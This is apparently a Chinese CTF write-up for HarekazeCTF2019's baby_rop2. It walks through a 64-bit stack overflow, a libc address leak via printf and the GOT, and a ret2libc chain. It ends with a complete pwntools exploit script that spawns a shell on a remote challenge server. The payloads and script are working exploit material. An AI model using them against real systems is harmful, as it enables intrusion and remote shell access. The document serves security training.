[HarekazeCTF2019]baby_rop2
題目附件
步驟:
例行檢查,64位,開啟了nx保護

運行了一下程式,了解大概的執行情況

64位ida載入,shift+f12檢索程式里的字串,沒有發現可以直接利用的,從main函式開始看程式

利用思路:
- 程式很簡單,buf的大小是0x20,但是讀入的時候讀入的是0x100,會造成溢位,我們要想辦法覆寫回傳地址為” system(‘/bin/sh’)“,那樣在執行13行陳述句的時候,程式回去呼叫我們布置好的堆疊,從而得到shell
- 但是程式里沒有現成的system(‘/bin/sh’),這需要我們去自己去構造,這邊可以利用read函式,去泄露程式的libc基址,然后去獲得system和/bin/sh字串的地址
- 然后造成溢位,將回傳地址覆寫為system(‘/bin/sh’)
利用程序
一、 泄露libc基址
由于是64位程式,傳參的時候需要用到暫存器
printf函式的原型int printf( const char* format , [argument] ... );
舉個例子–>print(’%s’,‘hello world’)
大概就是這樣的用法,這邊有兩個引數要設定,所以我們要找到設定rdi,rsi暫存器的指令
ROPgadget --binary babyrop2 |grep "pop rdi"

rdi_addr=0x400733
ROPgadget --binary babyrop2 |grep "pop rsi"

沒有直接設定rsi暫存器的指令,這邊后面還跟著一個r15,無所謂了,不用r15,給他隨便設定一下就好了,我這邊設定的0
pop_rsi=0x400731
我們首先要設定第一個引數,就是帶有類似于%s這種格式的字串,我這邊是使用的程式里自帶的陳述句

format_str=0x400770
一開始是打算輸出printf的got表地址的,
payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(printf_got)+p64(0)+p64(printf_plt)+p64(main_addr)
但是在除錯的時候發現沒法使用,就換成了read函式的got表地址了
payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)
解釋一下這句payload的意思
- ‘a’*0x28–>造成溢位,覆寫到了回傳地址
- p64(pop_rdi)+p64(format_str)–>我們在原本陳述句的回傳地址上寫入了pop_rdi,ret,pop_rdi,對應引數format_str,執行后將formast_str的值設定給了rdi,之后執行ret(回傳指令)
- p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我們將2中的ret寫成了pop_rsi,pop_r15,ret;執行指令pop_rsi對應引數read_got,將rsi暫存器的值設定成了read函式的got表地址,pop_r15對應引數0,由于我們不用r15,隨便設定一下它,我是設定成了0
- p64(printf_plt)–>將3中的ret設定成printf函式的plt表地址,實際上就是printf函式的地址,去執行printf函式,輸出我們設定的read函式的地址
- p64(main_addr)–> 在完成第一次利用后,得到了程式內read函式的地址,知道了libc基址,我們需要重新回到程式開頭,再次利用這個輸入點去寫入system‘(/bin/sh)’
接收輸出的read函式地址
我平常是這樣寫的,但是這題這樣寫得到的read函式地址不對
read_addr=u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
看別人的wp都是這樣寫的
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
問其他師傅是這樣給我解釋的:
接收地址的你看看基本上都是7個位元組的,7f開頭,補全8個位元組
奇怪的知識又增加了
在得到read函式地址后,就可以得到libc版本和這個程式的偏移量了
libc = LibcSearcher('read', read_addr) #利用libcsearcher庫去查找匹配的libc版本
libc_base = read_addr - libc.dump('read') #計算程式里的偏移量
二、計算程式里system和/bin/sh的地址
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
三、覆寫回傳地址位system(‘/bin/sh ’)
payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
完整EXP:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = process('./babyrop2')
p = remote('node3.buuoj.cn',28485)
elf = ELF('babyrop2')
pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']
payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)
p.recvuntil("name? ")
p.sendline(payload)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()
得到shell后利用find -name ”flag“ 去找到flag檔案的位置

最后讀出flag
轉載請註明出處,本文鏈接:https://www.uj5u.com/yidong/157337.html
標籤:其他
上一篇:內網滲透
